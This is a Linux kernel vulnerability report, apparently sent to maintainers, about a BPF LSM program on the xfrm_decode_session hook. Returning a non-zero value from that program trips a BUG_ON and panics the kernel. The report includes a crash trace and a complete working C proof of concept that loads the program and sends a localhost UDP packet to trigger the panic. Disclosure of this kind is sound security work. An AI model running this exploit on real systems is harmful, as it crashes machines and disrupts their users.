Reported-by: Kaiyan Mei <M2024...@hust.edu.cn>
Reported-by: Yinhao Hu <ddd...@hust.edu.cn>
Reviewed-by: Dongliang Mu <dz...@hust.edu.cn>
## Root Cause
The sequence of events is as follows:
1. A BPF program of type `BPF_PROG_TYPE_LSM` is loaded and attached to the `xfrm_decode_session` LSM hook (which can be found via its BTF ID, e.g., `bpf_lsm_xfrm_decode_session`).
2. This BPF program is specifically crafted to return a non-zero value, for example, `-EACCES` (-13).
3. A network operation, such as sending a UDP packet to localhost, triggers a call chain that eventually executes `security_skb_classify_flow`.
4. Inside `security_skb_classify_flow`, the kernel calls `call_int_hook(xfrm_decode_session, ...)` which executes our attached BPF program.
5. The BPF program returns `-EACCES`. The return value `rc` becomes -13.
6. `security_skb_classify_flow` proceeds to execute `BUG_ON(rc)`. Since `rc` is non-zero, this assertion fails and panics the kernel.
### Execution Flow Visualization
```c
Vulnerability Execution Flow
|
|--- 1. Userspace: Load and attach a malicious BPF LSM program
| |
| `-- prog[] = { BPF_MOV64_IMM(0, -13), BPF_EXIT_INSN() }
| |
| `-- Attach prog to `xfrm_decode_session` hook
|
|--- 2. Userspace: Trigger the vulnerability
| |
| `-- sendto(udp_socket, ...)
|
|--- 3. Kernel space: Packet processing path
|
`-- ... -> icmp_route_lookup()
|
`-- security_skb_classify_flow(skb, flic)
|
|--> rc = call_int_hook(xfrm_decode_session, ...)
| |
| `-> Executes the attached BPF program
| |
| `-> returns -EACCES (-13)
|
|--> BUG_ON(rc)
| |
| `-> Since rc is -13 (non-zero), the assertion fails.
|
`-> CRASH: Kernel panic occurs here.
```
## Reproduction Steps
1. **Find BTF ID**: Find the BTF ID for the `bpf_lsm_xfrm_decode_session` or `security_xfrm_decode_session` LSM hook using `bpftool`.
2. **Program Setup**: Create and load a `BPF_PROG_TYPE_LSM` BPF program that simply returns a non-zero value (e.g., -13).
3. **Link Creation**: Attach the LSM program to the hook point identified in step 1.
4. **Trigger**: Send a UDP packet to localhost. This will trigger the instrumented code path and cause the `BUG_ON` to fire, resulting in a kernel panic.
## KASAN Report
```
ing[ p a3c3k1e.t0 1f1l4o6w5 ][ C0] CPU: 0 UID: 0 PID: 9961 Comm: poc Not tainted 6.19.0-rc5-gae23bc81ddf7 #2 PREEMPT(full)
[ 331.012332][ C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
(UDP t[o l3o3c1a.l0h1o3s026][ C0] RIP: 0010:security_skb_classify_flow+0xa4/0x240
1:9[9 9 93)3.1...0
3665][ C0] Code: e8 81 19 63 fd 48 8d 73 14 31 d2 48 89 ef 0f 1f 44 00 00 31 ff 41 89 c4 89 c6 e8 b7 13 63 fd 45 85 e4 74 86 e8 5d 19 63 fd 90 <0f> 0b e8 55 19 63 fd 48 8d 73 14 31 d2 48 89 e1
[ 331.015174][ C0] RSP: 0018:ffa00000000075b0 EFLAGS: 00010246
[ 331.015632][ C0] RAX: 0000000000000000 RBX: ffa00000000078b8 RCX: ffffffff845a9b49
[ 331.016219][ C0] RDX: ff11000044992500 RSI: ffffffff845a99c3 RDI: 0000000000000005
[ 331.016805][ C0] RBP: ff110000215c63c0 R08: 0000000000000000 R09: 0000000000000001
[ 331.017442][ C0] R10: 00000000fffffff3 R11: 0000000000000006 R12: 00000000fffffff3
[ 331.018107][ C0] R13: ff110000215c63c0 R14: 0000000000000000 R15: 0000000000000001
[ 331.018704][ C0] FS: 00007f4fcd896740(0000) GS:ff110000969b9000(0000) knlGS:0000000000000000
[ 331.019374][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 331.019873][ C0] CR2: 00007f4fcd9ffe00 CR3: 000000000097a000 CR4: 0000000000753ef0
[ 331.020471][ C0] PKRU: 55555554
[ 331.020747][ C0] Call Trace:
[ 331.021018][ C0] <IRQ>
[ 331.021248][ C0] icmp_route_lookup.constprop.0+0x3b5/0x13d0
[ 331.021729][ C0] ? __lock_acquire+0x490/0x2610
[ 331.022118][ C0] ? __pfx_icmp_route_lookup.constprop.0+0x10/0x10
[ 331.022623][ C0] ? __asan_memset+0x24/0x50
[ 331.022985][ C0] ? __ip_options_echo+0x53e/0x1220
[ 331.023386][ C0] ? __pfx___ip_options_echo+0x10/0x10
[ 331.023805][ C0] __icmp_send+0xa82/0x2be0
[ 331.024163][ C0] ? __pfx___icmp_send+0x10/0x10
[ 331.024550][ C0] ? __lock_acquire+0x490/0x2610
[ 331.024937][ C0] ? udp4_lib_lookup2+0x332/0x5d0
[ 331.025336][ C0] ? __udp4_lib_lookup+0x544/0xa70
[ 331.025732][ C0] ? __xfrm_policy_check2.constprop.0+0x3a3/0x5d0
[ 331.026225][ C0] __udp4_lib_rcv+0xb58/0x35e0
[ 331.026600][ C0] ? __pfx___udp4_lib_rcv+0x10/0x10
[ 331.027003][ C0] ? __pfx_udp_rcv+0x10/0x10
[ 331.027361][ C0] ip_protocol_deliver_rcu+0x304/0x4d0
[ 331.027787][ C0] ip_local_deliver_finish+0x3d3/0x720
[ 331.028212][ C0] ip_local_deliver+0x19f/0x200
[ 331.028593][ C0] ip_rcv+0x2e0/0x600
[ 331.028909][ C0] ? __pfx_ip_rcv+0x10/0x10
[ 331.029272][ C0] __netif_receive_skb_one_core+0x19e/0x1f0
[ 331.029732][ C0] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 331.030224][ C0] ? process_backlog+0x32c/0x1530
[ 331.030613][ C0] ? process_backlog+0x32c/0x1530
[ 331.031002][ C0] __netif_receive_skb+0x22/0x160
[ 331.031393][ C0] process_backlog+0x37e/0x1530
[ 331.031776][ C0] __napi_poll.constprop.0+0xb8/0x540
[ 331.032192][ C0] net_rx_action+0x9b6/0xea0
[ 331.032555][ C0] ? __pfx_net_rx_action+0x10/0x10
[ 331.032951][ C0] ? kvm_sched_clock_read+0x16/0x30
[ 331.033355][ C0] ? sched_clock+0x37/0x60
[ 331.033699][ C0] ? sched_clock_cpu+0x6c/0x550
[ 331.034078][ C0] ? __pfx_sched_clock_cpu+0x10/0x10
[ 331.034485][ C0] ? __pfx_sched_clock_cpu+0x10/0x10
[ 331.034895][ C0] ? __dev_queue_xmit+0xfaf/0x4340
[ 331.035291][ C0] handle_softirqs+0x1d9/0x8e0
[ 331.035665][ C0] ? __dev_queue_xmit+0xfaf/0x4340
[ 331.036060][ C0] do_softirq+0xb1/0xe0
[ 331.036385][ C0] </IRQ>
[ 331.036615][ C0] <TASK>
[ 331.036845][ C0] __local_bh_enable_ip+0x105/0x130
[ 331.037252][ C0] ? __dev_queue_xmit+0xfaf/0x4340
[ 331.037729][ C0] __dev_queue_xmit+0xfc4/0x4340
[ 331.038113][ C0] ? __pfx___inet_dev_addr_type+0x10/0x10
[ 331.038553][ C0] ? look_up_lock_class+0x56/0x130
[ 331.038950][ C0] ? look_up_lock_class+0x56/0x130
[ 331.039346][ C0] ? __pfx___dev_queue_xmit+0x10/0x10
[ 331.039757][ C0] ? register_lock_class+0x41/0x4a0
[ 331.040163][ C0] ? __lock_acquire+0x490/0x2610
[ 331.040553][ C0] ? __asan_memcpy+0x3d/0x60
[ 331.040911][ C0] ? eth_header+0x122/0x200
[ 331.041276][ C0] neigh_resolve_output+0x522/0x8f0
[ 331.041678][ C0] ip_finish_output2+0x7c9/0x1f50
[ 331.042069][ C0] ? ip_skb_dst_mtu+0x585/0xc60
[ 331.042443][ C0] ? __pfx_ip_finish_output2+0x10/0x10
[ 331.042864][ C0] __ip_finish_output+0x44c/0x950
[ 331.043253][ C0] ip_finish_output+0x3a/0x380
[ 331.043624][ C0] ip_output+0x1e1/0x520
[ 331.043954][ C0] ip_send_skb+0x451/0x5b0
[ 331.044301][ C0] udp_send_skb+0x6ed/0x15a0
[ 331.044662][ C0] udp_sendmsg+0x1854/0x29b0
[ 331.045020][ C0] ? __pfx_ip_generic_getfrag+0x10/0x10
[ 331.045454][ C0] ? __pfx_udp_sendmsg+0x10/0x10
[ 331.045839][ C0] ? __lock_acquire+0x490/0x2610
[ 331.046227][ C0] ? reacquire_held_locks+0xd1/0x1f0
[ 331.046636][ C0] ? release_sock+0x26/0x220
[ 331.046998][ C0] ? find_held_lock+0x2b/0x80
[ 331.047361][ C0] ? inet_autobind+0x144/0x1a0
[ 331.047731][ C0] ? __local_bh_enable_ip+0xa9/0x130
[ 331.048137][ C0] ? lockdep_hardirqs_on+0x7c/0x110
[ 331.048540][ C0] ? inet_autobind+0x144/0x1a0
[ 331.048910][ C0] ? __local_bh_enable_ip+0xa9/0x130
[ 331.049321][ C0] ? inet_autobind+0x149/0x1a0
[ 331.049693][ C0] ? __pfx_udp_sendmsg+0x10/0x10
[ 331.050077][ C0] inet_sendmsg+0x10e/0x150
[ 331.050433][ C0] __sys_sendto+0x496/0x560
[ 331.050785][ C0] ? __pfx___sys_sendto+0x10/0x10
[ 331.051176][ C0] ? find_held_lock+0x2b/0x80
[ 331.051539][ C0] ? fd_install+0x221/0x550
[ 331.051893][ C0] ? fd_install+0x240/0x550
[ 331.052244][ C0] ? __sys_socket+0xa4/0x260
[ 331.052601][ C0] ? __pfx___sys_socket+0x10/0x10
[ 331.052989][ C0] ? ksys_write+0x1a8/0x240
[ 331.053349][ C0] ? __pfx_ksys_write+0x10/0x10
[ 331.053730][ C0] __x64_sys_sendto+0xe5/0x1c0
[ 331.054101][ C0] ? lockdep_hardirqs_on+0x7c/0x110
[ 331.054504][ C0] do_syscall_64+0xcb/0xf80
[ 331.054863][ C0] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 331.055316][ C0] RIP: 0033:0x7f4fcd9a3c63
[ 331.055665][ C0] Code: 8b 15 a1 71 0c 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 80 3d 81 f9 0c 00 00 41 89 ca 74 14 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 75 c3 0f 1f 40 04
[ 331.057101][ C0] RSP: 002b:00007ffebfc488d8 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 331.057824][ C0] RAX: ffffffffffffffda RBX: 00007ffebfc58b68 RCX: 00007f4fcd9a3c63
[ 331.058421][ C0] RDX: 0000000000000008 RSI: 00007ffebfc488e8 RDI: 0000000000000005
[ 331.059018][ C0] RBP: 00007ffebfc58a50 R08: 00007ffebfc488f0 R09: 0000000000000010
[ 331.059614][ C0] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 331.060209][ C0] R13: 00007ffebfc58b78 R14: 000055a6cf8d5dd8 R15: 00007f4fcdaba020
[ 331.060808][ C0] </TASK>
[ 331.061047][ C0] Modules linked in:
[ 331.061405][ C0] ---[ end trace 0000000000000000 ]---
[ 331.061822][ C0] RIP: 0010:security_skb_classify_flow+0xa4/0x240
[ 331.062325][ C0] Code: e8 81 19 63 fd 48 8d 73 14 31 d2 48 89 ef 0f 1f 44 00 00 31 ff 41 89 c4 89 c6 e8 b7 13 63 fd 45 85 e4 74 86 e8 5d 19 63 fd 90 <0f> 0b e8 55 19 63 fd 48 8d 73 14 31 d1
[ 331.063770][ C0] RSP: 0018:ffa00000000075b0 EFLAGS: 00010246
[ 331.064293][ C0] RAX: 0000000000000000 RBX: ffa00000000078b8 RCX: ffffffff845a9b49
[ 331.065019][ C0] RDX: ff11000044992500 RSI: ffffffff845a99c3 RDI: 0000000000000005
[ 331.065715][ C0] RBP: ff110000215c63c0 R08: 0000000000000000 R09: 0000000000000001
[ 331.066341][ C0] R10: 00000000fffffff3 R11: 0000000000000006 R12: 00000000fffffff3
[ 331.067003][ C0] R13: ff110000215c63c0 R14: 0000000000000000 R15: 0000000000000001
[ 331.067683][ C0] FS: 00007f4fcd896740(0000) GS:ff110000969b9000(0000) knlGS:0000000000000000
[ 331.068422][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 331.068922][ C0] CR2: 00007f4fcd9ffe00 CR3: 000000000097a000 CR4: 0000000000753ef0
[ 331.069534][ C0] PKRU: 55555554
[ 331.069816][ C0] Kernel panic - not syncing: Fatal exception in interrupt
```
## Proof of Concept
The following C program can demonstrate the vulnerability on bpf-next(ae23bc81ddf7c17b663c4ed1b21e35527b0a7131).
```c
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/stat.h>
static int sys_bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = 0xb7, /* BPF_ALU64 | BPF_MOV | BPF_K */ \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = 0x95, /* BPF_JMP | BPF_EXIT */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
struct btf_header {
__u16 magic;
__u8 version;
__u8 flags;
__u32 hdr_len;
__u32 type_off;
__u32 type_len;
__u32 str_off;
__u32 str_len;
};
ssize_t full_read(int fd, void *buf, size_t count) {
size_t total = 0;
while (total < count) {
ssize_t n = read(fd, (char*)buf + total, count - total);
if (n < 0) {
if (errno == EINTR) continue;
return -1;
}
if (n == 0) break; // EOF
total += n;
}
return total;
}
struct btf_type {
__u32 name_off;
__u32 info;
__u32 size_or_type;
};
#define BTF_MAGIC 0xeB9F
#define BTF_INFO_KIND(info) (((info) >> 24) & 0x1f)
#define BTF_INFO_VLEN(info) ((info) & 0xffff)
#define BTF_KIND_INT 1
#define BTF_KIND_PTR 2
#define BTF_KIND_ARRAY 3
#define BTF_KIND_STRUCT 4
#define BTF_KIND_UNION 5
#define BTF_KIND_ENUM 6
#define BTF_KIND_FWD 7
#define BTF_KIND_TYPEDEF 8
#define BTF_KIND_VOLATILE 9
#define BTF_KIND_CONST 10
#define BTF_KIND_RESTRICT 11
#define BTF_KIND_FUNC 12
#define BTF_KIND_FUNC_PROTO 13
#define BTF_KIND_VAR 14
#define BTF_KIND_DATASEC 15
#define BTF_KIND_FLOAT 16
#define BTF_KIND_DECL_TAG 17
#define BTF_KIND_TYPE_TAG 18
#define BTF_KIND_ENUM64 19
int find_btf_id(const char *name) {
int fd = open("/sys/kernel/btf/vmlinux", O_RDONLY);
if (fd < 0) {
perror("[-] Failed to open /sys/kernel/btf/vmlinux");
return -1;
}
struct btf_header hdr;
if (read(fd, &hdr, sizeof(hdr)) != sizeof(hdr)) {
perror("[-] Failed to read BTF header");
close(fd);
return -1;
}
if (hdr.magic != BTF_MAGIC) {
fprintf(stderr, "[-] Invalid BTF magic: %x\n", hdr.magic);
close(fd);
return -1;
}
unsigned char *strings = malloc(hdr.str_len);
if (!strings) {
perror("malloc strings");
close(fd);
return -1;
}
lseek(fd, hdr.hdr_len + hdr.str_off, SEEK_SET);
if (full_read(fd, strings, hdr.str_len) != hdr.str_len) {
fprintf(stderr, "[-] Failed to read full BTF string table\n");
free(strings);
close(fd);
return -1;
}
lseek(fd, hdr.hdr_len + hdr.type_off, SEEK_SET);
unsigned char *types_data = malloc(hdr.type_len);
if (!types_data) {
perror("malloc types");
free(strings);
close(fd);
return -1;
}
if (full_read(fd, types_data, hdr.type_len) != hdr.type_len) {
fprintf(stderr, "[-] Failed to read full BTF type data\n");
free(types_data);
free(strings);
close(fd);
return -1;
}
int id = 1;
size_t off = 0;
int target_id = -1;
while (off < hdr.type_len) {
struct btf_type *t = (struct btf_type *)(types_data + off);
off += sizeof(struct btf_type);
if (t->name_off < hdr.str_len) {
const char *t_name = (const char *)(strings + t->name_off);
if (strcmp(t_name, name) == 0) {
int kind = BTF_INFO_KIND(t->info);
if (kind == BTF_KIND_FUNC) {
target_id = id;
break;
}
}
}
int kind = BTF_INFO_KIND(t->info);
int vlen = BTF_INFO_VLEN(t->info);
size_t skip = 0;
switch (kind) {
case BTF_KIND_INT: skip = 4; break;
case BTF_KIND_TYPEDEF:
case BTF_KIND_VOLATILE:
case BTF_KIND_CONST:
case BTF_KIND_RESTRICT:
case BTF_KIND_PTR:
case BTF_KIND_FWD:
case BTF_KIND_FUNC:
case BTF_KIND_FLOAT:
case BTF_KIND_TYPE_TAG: skip = 0; break;
case BTF_KIND_ARRAY: skip = 12; break;
case BTF_KIND_STRUCT:
case BTF_KIND_UNION: skip = vlen * 12; break;
case BTF_KIND_ENUM: skip = vlen * 8; break;
case BTF_KIND_FUNC_PROTO: skip = vlen * 8; break;
case BTF_KIND_VAR: skip = 4; break;
case BTF_KIND_DATASEC: skip = vlen * 12; break; // struct btf_var_secinfo
case BTF_KIND_DECL_TAG: skip = 4; break;
case BTF_KIND_ENUM64: skip = vlen * 12; break;
default:
id++;
continue;
}
off += skip;
id++;
}
free(types_data);
free(strings);
close(fd);
return target_id;
}
int main(void)
{
printf("[*] Preparing LSM BPF exploit PoC v2...\n");
const char *target_name = "bpf_lsm_xfrm_decode_session";
int btf_id = find_btf_id(target_name);
if (btf_id < 0) {
printf("[-] Failed to find BTF ID for '%s'. Trying alternative.\n", target_name);
target_name = "security_xfrm_decode_session";
btf_id = find_btf_id(target_name);
}
if (btf_id < 0) {
fprintf(stderr, "[-] Could not find BTF ID for target hook. Exiting.\n");
return 1;
}
printf("[+] Found BTF ID for '%s': %d\n", target_name, btf_id);
// int prog(void *ctx) { return -13; } // -EPERM
struct bpf_insn prog_insns[] = {
BPF_MOV64_IMM(0, -13),
BPF_EXIT_INSN(),
};
char log_buf[65535];
union bpf_attr load_attr;
memset(&load_attr, 0, sizeof(load_attr));
load_attr.prog_type = BPF_PROG_TYPE_LSM;
load_attr.insns = (uint64_t)prog_insns;
load_attr.insn_cnt = sizeof(prog_insns) / sizeof(struct bpf_insn);
load_attr.license = (uint64_t)"GPL";
load_attr.log_buf = (uint64_t)log_buf;
load_attr.log_size = sizeof(log_buf);
load_attr.log_level = 1;
load_attr.attach_btf_id = btf_id;
// BPF_LSM_MAC = 27
load_attr.expected_attach_type = 27;
printf("[*] Loading BPF PROG...\n");
int prog_fd = sys_bpf(BPF_PROG_LOAD, &load_attr, sizeof(load_attr));
if (prog_fd < 0) {
fprintf(stderr, "[-] BPF_PROG_LOAD failed: %s\n", strerror(errno));
fprintf(stderr, "[-] Verifier Log:\n%s\n", log_buf);
return 1;
}
printf("[+] BPF PROG loaded, FD: %d\n", prog_fd);
// BPF_LINK_CREATE
union bpf_attr attach_attr;
memset(&attach_attr, 0, sizeof(attach_attr));
attach_attr.link_create.prog_fd = prog_fd;
attach_attr.link_create.target_fd = 0;
attach_attr.link_create.attach_type = BPF_LSM_MAC;
printf("[*] Attaching BPF program...\n");
int link_fd = sys_bpf(BPF_LINK_CREATE, &attach_attr, sizeof(attach_attr));
if (link_fd < 0) {
fprintf(stderr, "[-] BPF_LINK_CREATE failed: %s\n", strerror(errno));
close(prog_fd);
return 1;
}
printf("[+] BPF program attached! Malicious hook is active.\n");
// trigger
printf("[*] Triggering packet flow (UDP to localhost:9999)...\n");
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("[-] socket failed");
return 1;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(9999);
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
char buf[] = "TRIGGER";
ssize_t sent = sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
if (sent < 0) {
perror("[-] sendto failed");
} else {
printf("[+] Packet sent. If vulnerability exists, kernel should crash now.\n");
}
sleep(2);
printf("[-] System is still alive.\n");
close(sock);
close(link_fd);
close(prog_fd);
return 0;
}
```
## Kernel Configuration Requirements for Reproduction
The vulnerability can be triggered with the kernel config in the attachment.